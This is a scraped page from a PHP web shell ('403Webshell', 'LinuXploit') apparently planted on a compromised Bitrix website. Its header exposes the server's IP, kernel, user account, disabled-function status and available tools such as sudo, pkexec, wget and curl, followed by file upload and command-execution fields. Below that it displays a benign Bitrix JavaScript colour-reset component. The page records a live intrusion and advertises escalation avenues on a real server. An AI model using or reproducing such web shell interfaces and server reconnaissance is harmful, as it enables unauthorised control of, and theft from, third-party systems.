403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/landing/ui/field/color/src/layout/reset/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/js/landing/ui/field/color/src/layout/reset/reset.js
import {EventEmitter} from 'main.core.events';
import {Cache, Tag, Event, Loc, Text} from 'main.core';

import './css/reset.css';

export default class Reset extends EventEmitter
{
	constructor(options)
	{
		super();
		this.options = options;
		this.cache = new Cache.MemoryCache();
		this.setEventNamespace('BX.Landing.UI.Field.Color.Reset');
		Event.bind(this.getLayout(), 'click', () => this.onClick());

		const hint = BX.UI.Hint.createInstance({
			popupParameters: {
				targetContainer: options.contentRoot,
				padding: 0,
			}
		});
		hint.init(this.getLayout());
	}

	getLayout(): HTMLElement
	{
		if (this.options && !this.options.styleNode)
		{
			return null;
		}

		return this.cache.remember('layout', () => {
			return Tag.render`
				<div class="landing-ui-field-color-reset-container">
					<div class="landing-ui-field-color-reset"
						data-hint="${Loc.getMessage('LANDING_FIELD_COLOR-RESET_HINT_2')}"
						data-hint-no-icon
					>
					</div>
				</div>
			`;
		});
	}

	onClick()
	{
		this.emit('onReset');
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit